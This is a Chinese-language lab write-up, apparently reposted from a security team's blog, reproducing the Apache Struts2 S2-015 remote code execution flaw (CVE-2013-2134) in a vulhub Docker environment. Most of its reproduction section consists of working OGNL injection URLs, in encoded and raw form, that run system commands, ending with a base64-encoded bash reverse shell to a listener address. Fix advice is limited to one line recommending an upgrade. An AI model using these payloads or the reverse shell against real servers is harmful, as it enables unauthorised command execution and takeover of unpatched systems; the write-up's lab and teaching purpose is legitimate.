【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

admin 2023年1月10日16:38:06评论74 views字数 3383阅读11分16秒阅读模式

1 漏洞信息

漏洞名称 远程代码执行漏洞
漏洞编号 CVE-2013-2134
危害等级 高危
漏洞类型 中间件漏洞
漏洞厂商 Apache
漏洞组件 Struts2
受影响版本 2.0.0 <= Struts2 <= 2.3.15
漏洞概述 Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。



2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

cd vulhub/struts2/s2-015docker-compose up -d

【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

访问http://192.168.146.158:8015

【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)



3 漏洞复现

访问url,构造一个恶意的payload并发送。

http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20has%20vul%27%29.getInputStream%28%29%29%2C%23q%7D.action

payload原型:

http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo has vul').getInputStream()),#q}.action

发现成功执行了echo has vul,说明存在该漏洞。

【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

既然发现漏洞了,那我们可以构造一个payload,执行id命令。

http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%2C%23q%7D.action

payload原型:

http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

成功执行了id命令。

【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

接下来开始反弹shell

bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
base加密bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}url编码bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

访问漏洞url并且添加恶意payload进行抓包。

http://192.168.146.158:8015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%2C%23q%7D.action

payload原型:

http://192.168.146.158:8015/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action
【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

攻击机进行监听,然后发现成功反弹了shell。

【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)



4 修复建议

1、推荐的解决方案:升级至比受漏洞影响的更高版本。


- End -

原文始发于微信公众号(NS Demon团队):【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月10日16:38:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】S2-015 远程代码执行漏洞(CVE-2013-2134)https://cn-sec.com/archives/1510107.html

发表评论

匿名网友 填写信息